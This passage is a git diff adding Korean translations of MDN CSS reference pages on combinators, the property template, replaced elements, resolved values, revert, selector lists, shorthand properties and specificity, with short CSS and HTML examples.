요소 BA의 바로 밑에 위치해야 하도록 지정합니다.
+
자손 결합자 A B
+
요소 BA의 밑에 위치해야 하도록 지정합니다. 그러나 BA의 바로 아래에 있을 필요는 없습니다.
+
열 결합자 A || B {{experimental_inline}}
+
요소 B가 표의 열 A 안에 위치해야 하도록 지정합니다. 여러 열에 걸친 요소는, 각각의 열 모두에 대해 안쪽에 위치한 것으로 간주합니다.
+
+ +

의사 클래스/요소

+ +
+
의사 클래스 :
+
요소의 특정 상태를 선택합니다.
+
의사 요소 ::
+
HTML이 포함하지 않은 객체를 나타냅니다.
+
+ + + +

개념

+ +

구문과 의미

+ + + +

+ + + +

레이아웃

+ + + +

DOM-CSS / CSSOM

+ +

주요 객체 유형

+ +
    +
  • {{DOMxRef("DocumentOrShadowRoot.styleSheets")}}
  • +
  • {{DOMxRef("StyleSheetList", "styleSheets", "", 1)}}[i].{{DOMxRef("CSSRuleList", "cssRules", "", 1)}}
  • +
  • cssRules[i].{{DOMxRef("CSSRule.cssText", "cssText", "", 1)}} (selector & style)
  • +
  • cssRules[i].{{DOMxRef("CSSStyleRule.selectorText", "selectorText", "", 1)}}
  • +
  • {{DOMxRef("HTMLElement.style")}}
  • +
  • HTMLElement.style.{{DOMxRef("CSSStyleDeclaration.cssText", "cssText", "", 1)}} (just style)
  • +
  • {{DOMxRef("Element.className")}}
  • +
  • {{DOMxRef("Element.classList")}}
  • +
+ +

중요 메서드

+ +
    +
  • {{DOMxRef("CSSStyleSheet.insertRule()")}}
  • +
  • {{DOMxRef("CSSStyleSheet.deleteRule()")}}
  • +
+ +

같이 보기

+ + + +

외부 링크

+ + diff --git a/files/ko/web/css/reference/property_template/index.html b/files/ko/web/css/reference/property_template/index.html new file mode 100644 index 0000000000..9df3680b49 --- /dev/null +++ b/files/ko/web/css/reference/property_template/index.html @@ -0,0 +1,131 @@ +--- +title: Property Template +slug: Web/CSS/Reference/Property_Template +tags: + - CSS + - MDN Meta +translation_of: MDN/Contribute/Howto/Document_a_CSS_property/Property_template +--- +

{{MDNSidebar}}

+ +
+

This is a template page for CSS property. Please use this as a raw template when you create a new CSS property page.
+ Comment in italics are information about how to use part of the template

+
+ +

{{CSSRef}}

+ +

Add the non-standard header if the property is not on the standard track. In the summary section, in a note, describe how to achieve its effect using standard Open Web technologies.

+ +

{{Non-standard_Header}}

+ +

Add the experimental header if in your judgement the property's behavior is likely to change in future, for example because of very immature specifications or competing incompatible implementations.

+ +

{{SeeCompatTable}}

+ +

Description of the property. It must start by "The xyz CSS property" followed by a one-sentence description. The first paragraph of this introduction will be used by default as the description of the page.

+ +
+

Note: Placeholder for any special messages.

+
+ +

But don't add several notes. It should be really important, or be part of the description!

+ +

Syntax

+ +
/* Keyword values */
+property: value1;
+property: value2;
+
+/* <length> values */
+property: 12.8em;   /* A valid length */
+
+/* Global values */
+property: inherit;  /* <-- To remember those are a possible values */
+property: initial;
+property: unset;
+
+ +

The second part of the is a simple translation of the what the formal syntax tells. It is aimed at medium-level users that will not understand well the formal syntax.

+ +

Values

+ +

Each element of the formal syntax must be explained

+ +
+
value_1
+
Is a keyword meaning...
+
value_2 {{Non-standard_Inline}} {{Experimental_Inline}}
+
Is a keyword meaning
+
+ +

Formal syntax

+ +

The formal syntax must be taken from the spec and added to the MDN data repository. It is an important tool to get precise syntax information for advanced users.

+ +
{{CSSSyntax}}
+ +

Examples

+ +

Add this only if there is such an example. No dead link here.

+ +

CSS

+ +
elementName {
+  property: value;
+  thisis: "example";
+  dream: 10000000mm;
+  love: "danger";
+}
+ +

HTML

+ +
<elementName>foo bar</elementName>
+ +

Result

+ +

{{EmbedLiveSample("Examples")}}

+ +

Specifications

+ +

Exclusively use this standard table. Place older spec on the bottom. Use the templates SpecName() for the name and Spec2() for the status. That way, when the spec progress on the standard track, or move, the table content will be automatically adapted.

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Animations", "#fake-link", "fake-value")}}{{Spec2("CSS3 Animations")}}No change from CSS 2.1
{{SpecName("CSS2.1", "#fake-link", "fake value")}}{{Spec2("CSS2.1")}}Initial definition
+ +

{{CSSInfo}}

+ +

Browser compatibility

+ +

(See Compatibility tables for more information)

+ + + +

{{Compat("css.property.property-name")}}

+ +

See also

+ +
    +
  • Links of link of related properties: {{CSSxRef("example-property")}}
  • +
  • Links to article showing how to use the property in context: "Using … article"
  • +
  • Very good external links. Don't be afraid of external links, but they should be outstanding, and not only mention minor details.
  • +
diff --git a/files/ko/web/css/replaced_element/index.html b/files/ko/web/css/replaced_element/index.html new file mode 100644 index 0000000000..8914554a01 --- /dev/null +++ b/files/ko/web/css/replaced_element/index.html @@ -0,0 +1,65 @@ +--- +title: 대체 요소 +slug: Web/CSS/Replaced_element +tags: + - CSS + - Guide + - Layout + - Reference +translation_of: Web/CSS/Replaced_element +--- +
{{CSSRef}}
+ +

CSS대체 요소(replaced element)란 자신의 표현 결과가 CSS의 범위를 벗어나는 요소로서, CSS 서식 모델과는 분리된 외부 객체인 요소입니다.

+ +

간단히 말해서, 대체 요소는 자신의 콘텐츠가 현재 문서 스타일의 영향을 받지 않는 요소라고 할 수 있습니다. CSS는 대체 요소의 위치에 영향을 줄 수 있지만 콘텐츠에는 미치지 못합니다. {{htmlelement("iframe")}} 등 일부 대체 요소는 자신만의 스타일 시트를 가질 수도 있지만, 부모 문서의 스타일을 상속하지는 않습니다.

+ +

CSS가 대체 요소에 영향을 줄 수 있는 다른 유일한 방법은, 일련의 속성을 통해 요소 박스에서 콘텐츠의 위치를 제어하는 것입니다. {{anch("콘텐츠 박스 내부의 객체 위치 제어")}} 항목을 참고하세요.

+ +

대체 요소

+ +

전형적인 대체 요소는 다음과 같습니다.

+ +
    +
  • {{HTMLElement("iframe")}}
  • +
  • {{HTMLElement("video")}}
  • +
  • {{HTMLElement("embed")}}
  • +
  • {{HTMLElement("img")}}
  • +
+ +

일부 요소는 특정한 경우에만 대체 요소로 취급합니다.

+ +
    +
  • {{HTMLElement("option")}}
  • +
  • {{HTMLElement("audio")}}
  • +
  • {{HTMLElement("canvas")}}
  • +
  • {{HTMLElement("object")}}
  • +
+ +

HTML 명세에 따르면 {{htmlelement("input")}} 또한 대체될 수 있습니다. <input> 유형이 "image"인 경우 {{htmlelement("img")}}와 유사한 대체 요소이기 때문입니다. 그러나 다른 유형의 <input>을 포함한 나머지 양식 컨트롤 요소는 비대체 요소라고 명시하고 있습니다. (명세는 양식 요소의 플랫폼별 기본 렌더링을 "위젯"(Widget)이라는 용어로 설명하고 있습니다.)

+ +

CSS {{cssxref("content")}} 속성을 사용해 추가한 객체도 대체 요소로, HTML 마크업에는 존재하지 않기 때문에 "익명" 대체 요소라고 합니다.

+ +

대체 요소와 CSS

+ +

CSS는 바깥 여백이나 일부 auto 값 계산 등 특정 상황에서 대체 요소를 특별히 취급합니다.

+ +

일부 대체 요소는 고유 크기 또는 정의된 기준선을 가질 수 있으며, {{cssxref("vertical-align")}} 등의 CSS 속성이 사용할 수 있습니다. 오직 대체 요소만이 고유 크기를 가질 수 있습니다.

+ +

콘텐츠 박스 내부의 객체 위치 제어

+ +

특정 CSS 속성을 사용하면 대체 요소 내의 객체가 요소의 박스 영역 어디에 배치되어야 하는지 지정할 수 있으며, {{SpecName("CSS3 Images")}}와 {{SpecName("CSS4 Images")}} 명세가 정의하고 있습니다.

+ +
+
{{cssxref("object-fit")}}
+
대체 요소의 콘텐츠 객체를 대체 요소의 박스에 어떻게 맞출지 지정합니다.
+
{{cssxref("object-position")}}
+
대체 요소의 콘텐츠 객체를 정렬하는 방법을 지정합니다.
+
+ +

같이 보기

+ + diff --git a/files/ko/web/css/resolved_value/index.html b/files/ko/web/css/resolved_value/index.html new file mode 100644 index 0000000000..56f04e6495 --- /dev/null +++ b/files/ko/web/css/resolved_value/index.html @@ -0,0 +1,39 @@ +--- +title: 결정값 +slug: Web/CSS/resolved_value +tags: + - CSS + - Reference +translation_of: Web/CSS/resolved_value +--- +
{{cssref}}
+ +

CSS 속성의 결정값은 {{domxref("Window.getComputedStyle", "getComputedStyle()")}}이 반환하는 값입니다.

+ +

속성 대부분은 결정값이 계산값이지만, {{cssxref("width")}}와 {{cssxref("height")}}를 포함한 기존 속성은 사용값입니다. 속성 별 자세한 사항은 아래의 명세를 참고하세요.

+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName("CSSOM", "#resolved-values", "resolved value")}}{{Spec2("CSSOM")}}초기 정의
+ +

같이 보기

+ +
    +
  • {{domxref("window.getComputedStyle")}}
  • +
  • {{CSS_key_concepts}}
  • +
diff --git a/files/ko/web/css/revert/index.html b/files/ko/web/css/revert/index.html new file mode 100644 index 0000000000..9a9a1ce6f7 --- /dev/null +++ b/files/ko/web/css/revert/index.html @@ -0,0 +1,137 @@ +--- +title: revert +slug: Web/CSS/revert +tags: + - CSS + - CSS 속성 + - Cascade + - Style + - 'all:revert' + - revert + - revert style 속성 + - revert 속성 + - 스타일 +translation_of: Web/CSS/revert +--- +
{{CSSRef}}
+ +

revert 는 현재 엘리먼트에 선언 된 캐스캐이딩된 속성으로부터  {{Glossary("style origin")}} 으로 되돌립니다. 부모 속성 또는 user agent에 따라 default로 선언 된 속성으로 되돌리는 것입니다. 이 속성은 css 단축속성{{cssxref("all")}}을 포함한 어떤 프로퍼티에도 적용할 수 있습니다.

+ +
    +
  • 만약 그 사이트만의 css 속성이 지정되어있다면 revert 속성은 유저가 지정한 커스텀 스타일로 롤백합니다.  만약 하나만 존재한다면 user agent의 default 스타일로 돌아가는 것입니다.
  • +
  • 만약 사용자의 커스텀 스타일을 사용하거나 사용자에 의해서 스타일이 적용되어 있다면, revert 는 user agent의 default 스타일로 되돌립니다.
  • +
  • 만약 user agent default 스타일만 지정되어있다면, {{cssxref("unset")}}과 마찬가지의 의미입니다.
  • +
+ +

revert 키워드는 많은 경우에서 unset 과 같은 성질을 가집니다. 한가지 차이점은 user agent에 의한 스타일이냐 유저가 지정한 스타일이냐의 차이입니다.

+ +

Revert 는 자식 요소까지 변경하지는 않습니다. (하지만 자식 요소에 특별히 rule이 지정되어 있지 않다면 적용됩니다.). 그래서 만약에 모든 섹션에  color: green 속성을 지정하고  all: revert 를 사용하면 모든 섹션의 컬러값은 black으로 돌아갈 것입니다. 하지만 만약, 당신이 section 내의 모든 p에 red를 지정했다면 그것들은 red로 유지될 것입니다.

+ +
+

Revert는 단순히 값입니다. 그러므로 revert  또한 다른 specificity값으로 덮어 쓸 수 있습니다.

+
+ +
+

revert 는 {{cssxref("initial")}} 키워드와는 다른데,  initial value 는 프로퍼티 단위의 css 특성화입니다. user-agent의 스타일 시트도 default value로 되돌립니다..

+ +

예를 들어, {{cssxref("display")}} 속성에 대한 initial value 는 inline 입니다. 반면에  {{HTMLElement("div")}} 에 대한 {{cssxref("display")}}  user agent 속성은 block 이고,  {{HTMLElement("table")}} 에 대한 속성은  table 입니다.

+
+ +

예시

+ +

Revert vs unset

+ +

비록 revert 와 unset 은 비슷하지만 몇몇 엘리먼트와 몇몇 속성에서는 다릅니다.

+ +

그래서 아래 예시를 보면, 우리는 font-weight 를 커스텀으로 글로벌 스타일로 지정하였습니다. 그러나 revert와 unset을 시도해보면 다른 결과를 볼 수 있습니다. Unset text를 default로 설정된 normal로 유지합니다. Revert는 user-agent 상에 font-weight인 bold로 돌아갈 것입니다.

+ +
h3 {
+  font-weight: normal;
+  color: blue;
+}
+ +
<h3 style="font-weight: unset; color: unset;">This will still have font-weight: normal, but color: black</h3>
+<p>Just some text</p>
+<h3 style="font-weight: revert; color: revert;">This should have its original font-weight (bold) and color: black</h3>
+<p>Just some text</p>
+ +

{{EmbedLiveSample('Revert_vs_unset')}}

+ +

Revert all

+ +

모든 요소를 revert 하는 것은 당신이 많은 캐스캐이딩에 따른 수정이 있었을 때 default로 돌아가기에 매우 유용합니다. 그래서 font-weight를 리버트 하고 color를 리버트하는 것을 각각 하기보다는 한꺼번에 돌릴 수 있습니다.

+ +
h3 {
+  font-weight: normal;
+  color: blue;
+  border-bottom: 1px solid grey;
+}
+ +
<h3>This will have custom styles</h3>
+<p>Just some text</p>
+<h3 style="all: revert">This should be reverted to browser/user defaults</h3>
+<p>Just some text</p>
+ +

{{EmbedLiveSample('Revert_all')}}

+ +

부모요소에서의 Revert 

+ +

효율적으로 revert 하는 것은 당신이 선택한 속성에 대해서만 해당 속성을 제거하는 것입니다. 우리는 paragraph에 한해서는 red 속성을 지정하고 section에는 darkgreen 을 따로 각각 지정할 수 있습니다.

+ +
section { color: darkgreen }
+p { color: red }
+section.with-revert { color: revert }
+
+ +
<section>
+  <h3>따로 지정되지 않은 h3는 다크 그린</h3>
+  <p>paragraph의 텍스트는 빨강</p>
+  섹션 안의 요소니까 다크 그린.
+</section>
+<section class="with-revert">
+  <h3>revert로 따로 지정되어있지 않았던 h3는 검정</h3>
+  <p>특성화되어있는 paragraph는 그대로 빨강</p>
+  섹션 안의 요소가 revert 되면서 검정
+</section>
+ +

section 요소가 돌아갔음에도 paragraph는 여전히 빨강인 것에 주목하세요. 

+ +

{{EmbedLiveSample('Revert_on_a_parent')}}

+ +

특성

+ + + + + + + + + + + + + + + + +
특성상태비고
{{SpecName('CSS4 Cascade', '#default', 'revert')}}{{Spec2('CSS4 Cascade')}}Initial definition.
+ +

브라우저 호환성

+ +
+
+ + +

{{Compat("css.types.global_keywords.revert")}}

+
+
+ +

요약

+ +
    +
  • initial value를 지정할 때는 {{cssxref("initial")}} 를 사용하세요 .
  • +
  • 초기 속성을 없애거나, 부모 요소에 대한 상속 된 속성을 지정할 때는  {{cssxref("unset")}} 를 사용하세요.
  • +
  • 부모 속성을 지정할 때는 {{cssxref("inherit")}} 를 사용하세요.
  • +
  • {{cssxref("all")}} 속성은 unset, initial, revert, inherit 속성을 한꺼번에 지정할 것입니다.
  • +
diff --git a/files/ko/web/css/selector_list/index.html b/files/ko/web/css/selector_list/index.html new file mode 100644 index 0000000000..6d45de9430 --- /dev/null +++ b/files/ko/web/css/selector_list/index.html @@ -0,0 +1,101 @@ +--- +title: 선택자 목록 +slug: Web/CSS/Selector_list +tags: + - CSS + - Reference + - Selectors + - 선택자 +translation_of: Web/CSS/Selector_list +--- +
{{CSSRef}}
+ +

CSS 선택자 목록(,)은 일치하는 모든 요소를 선택합니다.

+ +
/* 모든 span과 div 요소 선택 */
+span,
+div {
+  border: red 2px solid;
+}
+ +

다수의 선택자를 쉼표 구분 목록에 넣어 스타일 시트 크기를 줄일 수 있습니다.

+ +

구문

+ +
element, element, element { style properties }
+ +

예제

+ +

한 줄 묶기

+ +

쉼표로 구분한 목록을 한 줄에 배치할 수 있습니다.

+ +
h1, h2, h3, h4, h5, h6 { font-family: helvetica; }
+
+ +

여러 줄 묶기

+ +

쉼표로 구분한 목록을 여러 줄에 배치할 수도 있습니다.

+ +
#main,
+.content,
+article {
+  font-size: 1.1em;
+}
+
+ +

선택자 목록 무효화

+ +

선택자 목록의 단점은, 다음의 두 경우가 서로 같지 않다는 점입니다.

+ +
h1 { font-family: sans-serif }
+h2:maybe-unsupported { font-family: sans-serif }
+h3 { font-family: sans-serif }
+ +
h1, h2:maybe-unsupported, h3 { font-family: sans-serif }
+ +

왜냐하면 목록 내의 하나의 선택자라도 브라우저가 지원하지 않으면 전체 목록을 무효화하기 때문입니다.

+ +

대응 방법은 {{CSSxRef(":is", ":is()")}} 선택자를 사용하는 것을 통해, 유효하지 않은 선택자를 무시하는 것입니다. 그러나 :is()가 명시도를 계산하는 방법으로 인해, 모든 선택자가 동일한 명시도를 갖게 되는 부작용이 있습니다.

+ +
h1 { font-family: sans-serif }
+h2:maybe-unsupported { font-family: sans-serif }
+h3 { font-family: sans-serif }
+ +
:is(h1, h2:maybe-unsupported, h3) { font-family: sans-serif }
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Selectors", "#grouping", "Selector Lists")}}{{Spec2("CSS4 Selectors")}}Renamed to "selector list"
{{SpecName('CSS1', '#grouping', 'grouping')}}{{Spec2('CSS1')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.list")}}

+ +

같이 보기

+ +
    +
  • 선택자 목록 무효화라는 과거의 실수를 가지지 않는 {{CSSxRef(":is", ":is()")}} {{Experimental_Inline}}, {{CSSxRef(":where", ":where()")}} {{Experimental_Inline}} 의사 클래스.
  • +
diff --git a/files/ko/web/css/shorthand_properties/index.html b/files/ko/web/css/shorthand_properties/index.html new file mode 100644 index 0000000000..26075c0be4 --- /dev/null +++ b/files/ko/web/css/shorthand_properties/index.html @@ -0,0 +1,156 @@ +--- +title: 단축 속성 +slug: Web/CSS/Shorthand_properties +tags: + - CSS + - Guide + - Layout + - Reference + - Web + - 단축 속성 +translation_of: Web/CSS/Shorthand_properties +--- +
{{cssref}}
+ +

단축 속성은 서로 다른 여러 가지 CSS 속성의 값을 지정할 수 있는 CSS 속성입니다. 단축 속성을 사용하면 간결한 (그리고 읽기도 좋은) 스타일 시트를 작성해 시간과 체력을 아낄 수 있습니다.

+ +

CSS 명세는 같은 주제를 가진 여러 공통 속성을 묶기 위해 단축 속성을 정의합니다. 가령 CSS {{cssxref("background")}} 속성은 {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-repeat")}}, {{cssxref("background-position")}} 값을 정의할 수 있는 단축 속성입니다. 마찬가지로, 가장 흔히 쓰이는 글꼴 관련 속성은 {{cssxref("font")}} 단축 속성으로, 박스 주위의 바깥 여백은 {{cssxref("margin")}} 단축 속성으로 지정할 수 있습니다.

+ +

까다로운 예외상황

+ +

단축 속성은 사용하기 매우 편리하지만, 염두해야 할 예외상황이 몇 가지 있습니다.

+ +
    +
  1. 단축 속성에 지정하지 않은 값은 초깃값이 됩니다. 별거 아닌 듯 보일 수 있지만, 사실 이전에 정의한 값도 초깃값으로 재정의합니다. 따라서, + +
    background-color: red;
    +background: url(images/bg.gif) no-repeat top right;
    +
    + 을 적한 요소의 배경 색은 red가 아니라, {{cssxref("background-color")}}의 기본값인 transparent가 됩니다. 두 번째 규칙이 우선하기 때문입니다.
  2. +
  3. 개별 속성값만 상속할 수 있습니다. 빠진 값에는 초깃값을 대입하므로, 어떤 속성의 값을 상속받고자 단축 속성의 해당 부분을 비우는 것은 불가능합니다. inherit 키워드 역시 속성 값으로 온전히 사용해야 하며 값의 일부(red inherit top right처럼)로는 사용할 수 없습니다. 따라서 어떤 속성을 상속하고 싶다면 inherit을 지정한 본디 속성(longhand property)을 추가할 수밖에 없습니다.
  4. +
  5. 단축 속성은 값의 순서를 되도록 제한하지 않습니다. 특히 각 값의 자료형이 서로 다르면 순서가 중요하지 않습니다. 하지만 일부 속성이 동일한 자료형의 값을 가질 수 있을 때는 잘 동작하지 않습니다. 이런 경우의 처리는 여러 범주로 나뉩니다: +
      +
    1. {{cssxref("border-style")}}, {{cssxref("margin")}}, {{cssxref("padding")}}처럼 박스의 모서리와 관련된 속성을 다루는 단축 속성은 항상 같은 쪽의 모서리를 가리키는 1~4 값 구문을 사용합니다: + + + + + + + + + + + + + + + + + + + +
      border1.png1개 값 구문: border-width: 1em — 유일한 값이 모든 변을 나타냅니다.
      border2.png2개 값 구문: border-width: 1em 2em — 첫 번째 값은 세로(상하)변을, 두 번째는 가로(좌우)변을 나타냅니다.
      border3.png3개 값 구문: border-width: 1em 2em 3em — 첫 번째 값은 상변을, 두 번째는 가로변, 세 번째는 하변을 나타냅니다.
      border4.png +

      4개 값 구문: border-width: 1em 2em 3em 4em — 네 값이 각각 상, 우, 하, 좌변을 나타냅니다. 상변에서 시작하여 시계 방향으로, 항상 같은 순서를 사용합니다.

      +
      +
    2. +
    3. 비슷하게, {{cssxref("border-radius")}} 같은 박스의 꼭짓점과 관련된 속성을 다루는 단축 속성은 항상 같은 쪽의 꼭짓점을 가리키는 1-4-값 구문을 사용합니다: + + + + + + + + + + + + + + + + + + + +
      corner1.png1개 값 구문: border-radius: 1em — 유일한 값이 모든 귀를 나타냅니다.
      corner2.png2개 값 구문: border-radius: 1em 2em — 첫 번째 값은 좌상 및 우하귀, 두 번째는 우상 및 좌하귀를 나타냅니다.
      corner3.png3개 값 구문: border-radius: 1em 2em 3em — 첫 번째 값은 좌상귀, 두 번째는 우상 및 좌하귀, 세 번째 값은 우하귀를 나타냅니다.
      corner4.png +

      4개 값 구문: border-radius: 1em 2em 3em 4em — 네 값은 각각 좌상, 우상, 우하 및 좌하귀를 나타냅니다. 좌상귀에서 시작하여 시계 방향으로, 항상 같은 순서를 사용합니다.

      +
      +
    4. +
    +
  6. +
+ +

배경 속성

+ +

아래와 같은 속성을 가지는 배경은...

+ +
background-color: #000;
+background-image: url(images/bg.gif);
+background-repeat: no-repeat;
+background-position: top right;
+ +

다음과 같이 선언 단 하나를 사용해서 단축할 수 있습니다.

+ +
background: #000 url(images/bg.gif) no-repeat top right;
+ +

(단축 형은 실제로 background-attachment: scroll 및 CSS3의 일부 부가 속성이 더해진 위 본디 속성과 같습니다.)

+ +

{{cssxref("background")}}에서 CSS3 속성을 포함한 더 자세한 정보를 확인할 수 있습니다.

+ +

글꼴 속성

+ +

아래와 같은 속성을 가지는 글꼴은...

+ +
font-style: italic;
+font-weight: bold;
+font-size: .8em;
+line-height: 1.2;
+font-family: Arial, sans-serif;
+ +

다음처럼 단축할 수 있습니다.

+ +
font: italic bold .8em/1.2 Arial, sans-serif;
+ +

이 단축 선언은 실제로 font-variant: normalfont-size-adjust: none (CSS2.0 / CSS3), font-stretch: normal (CSS3)이 더해진 위 본디 속성과 같습니다.

+ +

테두리 속성

+ +

테두리의 너비, 색상, 스타일을 하나의 선언으로 단축할 수 있습니다. 즉 아래와 같은 CSS를...

+ +
border-width: 1px;
+border-style: solid;
+border-color: #000;
+ +

다음처럼 단축할 수 있습니다.

+ +
border: 1px solid #000;
+ +

여백 속성

+ +

바깥과 안쪽 여백의 단축 속성도 똑같이 동작합니다. 바깥 여백, margin 속성은 한 개, 두 개, 세 개, 네 개의 값을 사용해 지정합니다. 아래 CSS 선언은...

+ +
margin-top: 10px;
+margin-right: 5px;
+margin-bottom: 10px;
+margin-left: 5px;
+ +

다음의 네 값 구문 단축 속성을 사용한 선언과 같습니다. 방향이 시계 방향임을 기억하세요. 각 값은 위, 오른쪽, 아래, 왼쪽을 나타냅니다.

+ +
margin: 10px 5px 10px 5px;
+ +

바깥 여백의 한 개, 두 개, 세 개, 네 개 값 선언 규칙은 다음과 같습니다.

+ +
    +
  • 한 개의 값은 모든 네 면의 여백을 설정합니다.
  • +
  • 두 개의 값을 지정하면 첫 번째는 위와 아래, 두 번째는 왼쪽과 오른쪽 여백을 설정합니다.
  • +
  • 세 개의 값을 지정하면 첫 번째는 , 두 번째는 왼쪽과 오른쪽, 세 번째 값은 아래 여백을 설정합니다.
  • +
  • 네 개의 값을 지정하면 각각 상, 우, 하, 좌 순서로 여백을 지정합니다. (시계방향)
  • +
+ +

같이 보기

+ +
    +
  • 단축 속성: {{cssxref("animation")}}, {{cssxref("background")}}, {{cssxref("border")}}, {{cssxref("border-bottom")}}, {{cssxref("border-color")}}, {{cssxref("border-left")}}, {{cssxref("border-radius")}}, {{cssxref("border-right")}}, {{cssxref("border-style")}}, {{cssxref("border-top")}}, {{cssxref("border-width")}}, {{cssxref("column-rule")}}, {{cssxref("columns")}}, {{cssxref("flex")}}, {{cssxref("flex-flow")}}, {{cssxref("font")}}, {{cssxref("grid")}}, {{cssxref("grid-area")}}, {{cssxref("grid-column")}}, {{cssxref("grid-row")}}, {{cssxref("grid-template")}}, {{cssxref("list-style")}}, {{cssxref("margin")}}, {{cssxref("offset")}}, {{cssxref("outline")}}, {{cssxref("overflow")}}, {{cssxref("padding")}}, {{cssxref("place-content")}}, {{cssxref("place-items")}}, {{cssxref("place-self")}}, {{cssxref("text-decoration")}}, {{cssxref("transition")}}
  • +
diff --git a/files/ko/web/css/specificity/index.html b/files/ko/web/css/specificity/index.html new file mode 100644 index 0000000000..609f319daa --- /dev/null +++ b/files/ko/web/css/specificity/index.html @@ -0,0 +1,331 @@ +--- +title: 명시도 +slug: Web/CSS/Specificity +tags: + - CSS + - Example + - Guide + - Reference + - Web +translation_of: Web/CSS/Specificity +--- +
{{cssref}}
+ +

명시도란 브라우저가 어느 요소와 가장 연관된 속성을 찾는 수단으로, 이렇게 찾은 속성이 해당 요소에 적용됩니다. 명시도는 여러 종류의 CSS 선택자로 구성된 일치 규칙에 기반합니다.

+ +

어떻게 계산되는가?

+ +

명시도는 주어진 CSS 선언에 적용되는 가중치(weight)로, 일치하는 선택자 내 각 선택자 유형의 수에 의해 결정됩니다. 여러 선언이 명시도가 같은 경우, CSS에서 맨 끝에 오는 선언이 요소에 적용됩니다. 명시도는 같은 요소가 여러 선언의 대상이 되는 경우에만 적용합니다. CSS 규칙에 따라 직접 대상 요소는 요소가 부모로부터 상속받는 규칙보다 항상 우선합니다.

+ +
주의: 문서 트리 내 요소의 근접도(proximity, 가까움)는 명시도에 영향이 없습니다.
+ +

선택자 유형

+ +

아래 선택자는 유형별로 명시도를 증가시킵니다.

+ +
    +
  1. 유형 선택자(h1 등) 및 의사 요소(:before 등).
  2. +
  3. 클래스 선택자(.example 등), 속성 선택자([type="radio"] 등), 의사 클래스(:hover 등).
  4. +
  5. ID 선택자(#example 등).
  6. +
+ +

전역 선택자({{cssxref("Universal_selectors", "*")}}), 조합자({{CSSxRef("Adjacent_sibling_combinator", "+")}}, {{CSSxRef("Child_combinator", ">")}}, {{CSSxRef("General_sibling_combinator", "~")}}, ' ', {{CSSxRef("Column_combinator", "||")}}) 및 부정 의사 클래스(:not())는 명시도에 영향을 주지 않습니다. (:not() 내부에 선언한 선택자는 영향을 끼칩니다)

+ +

https://specifishity.com에서 자세한 정보를 확인할 수 있습니다.

+ +

요소에 추가한 인라인 스타일(style="font-weight: bold"처럼)은 항상 외부 스타일시트의 모든 스타일을 덮어쓰므로 가장 높은 명시도를 갖는 것으로 생각할 수 있습니다.

+ +

!important 예외

+ +

!important 규칙이 스타일 선언에 사용된 경우, 이 선언은 다른 선언보다 우선합니다. 엄밀히 말해 !important 자체는 명시도와 아무 관련이 없지만, 명시도에 직접 영향을 미칩니다. 그러나 !important 사용은 나쁜 습관이고 스타일시트 내 자연스러운 종속을 깨뜨려 디버깅을 더 어렵게 만들기에 피해야 합니다. !important 규칙으로 충돌하는 두 선언이 같은 요소에 적용된 경우, 더 큰 명시도를 갖는 선언이 적용됩니다.

+ +

몇몇 경험 법칙들:

+ +
    +
  • 항상 !important를 고려하기도 전에 명시도를 활용할 방법을 찾아보세요.
  • +
  • 외부 CSS(Bootstrap 또는 Normalize.css 같은 외부 라이브러리에서)를 재정의하는 페이지 전용 CSS에 !important를 쓰세요.
  • +
  • 플러그인/매시업을 작성할 때 !important절대 쓰지 마세요.
  • +
  • 사이트 전반 CSS에는 !important절대 쓰지 마세요.
  • +
+ +

!important를 사용하는 대신에, 다음을 고려하세요:

+ +
    +
  1. CSS 종속cascading을 더 잘 활용하세요.
  2. +
  3. +

    더 명시된(명확한) 규칙을 쓰세요. 선택 중인 요소 앞에 하나 이상의 요소를 나타냄으로써 규칙은 더 명확해지고 더 높은 우선 순위를 얻습니다:

    + +
    <div id="test">
    +  <span>Text</span>
    +</div>
    +
    + +
    div#test span { color: green; }
    +div span { color: blue; }
    +span { color: red; }
    + +

    순서와 무관하게 첫 번째 규칙이 가장 명확하므로 텍스트는 녹색이 됩니다. (또한, 역시 순서와 무관하게 파란색 규칙이 빨간색 규칙보다 우선합니다.)

    +
  4. +
  5. (2)의 말도 안 되는 특별한 경우로, 더 이상 명시할 요소가 없는 경우 간단한 선택자를 여러 번 써서 명시도를 높일 수 있습니다. +
    #myId#myId span { color: yellow; }
    +.myClass.myClass span { color: orange; }
    +
  6. +
+ +

!important를 사용하는 때

+ +
A) 인라인 스타일을 재정의할 때
+ +

사이트 전체의 시각적 요소를 설정하는 전역 CSS 파일은 각 요소에 직접 정의된 인라인 스타일에 덮어쓰일 수 있습니다. 인라인 스타일과 !important 모두 매우 나쁜 습관으로 취급되지만, 가끔씩은 !important로 인라인 스타일을 덮어써야 할 때가 있습니다.

+ +

이때는 전역 CSS 파일의 몇몇 스타일을 !important로 설정해서 요소에 직접 작성한 인라인 스타일을 덮어쓸 수 있습니다.

+ +
<div class="foo" style="color: red;">나는 무슨 색일까?</div>
+
+ +
.foo[style*="color: red"] {
+  color: firebrick !important;
+}
+
+ +

여러 자바스크립트 프레임워크와 라이브러리에서 인라인 스타일을 추가합니다. 이런 인라인 스타일을 덮어쓸 때 매우 구체적인 선택자와 함께 !important를 사용할 수 있습니다.

+ +
B) 명시도가 높은 규칙을 재정의할 때
+ +
#someElement p {
+  color: blue;
+}
+
+p.awesome {
+  color: red;
+}
+ +

어떻게 하면 awesome 문단이 #someElement 안에 있더라도 항상 빨갛게 만들 수 있을까요? !important를 사용하지 않으면 위쪽 규칙의 명시도가 높으므로 아래쪽 규칙보다 우선합니다.

+ +

!important를 덮어쓰는 방법

+ +

A) 태그, ID나 클래스를 추가함으로써 명시도가 더 높은 !important한 CSS 규칙을 만듭니다.

+ +
table td    { height: 50px !important; }
+.myTable td { height: 50px !important; }
+#myTable td { height: 50px !important; }
+
+ +

B) 혹은 기존의 선택자 아래에 똑같은 선택자를 하나 더 만듭니다(명시도가 같으면 나중에 정의된 규칙이 우선하므로).

+ +
td { height: 50px !important; }
+ +

C) 아니면 기존 규칙을 수정해서 아예 !important를 사용하지 않게 만드는 것이 더 좋은 방법입니다.

+ +
[id="someElement"] p {
+  color: blue;
+}
+
+p.awesome {
+  color: red;
+}
+ +

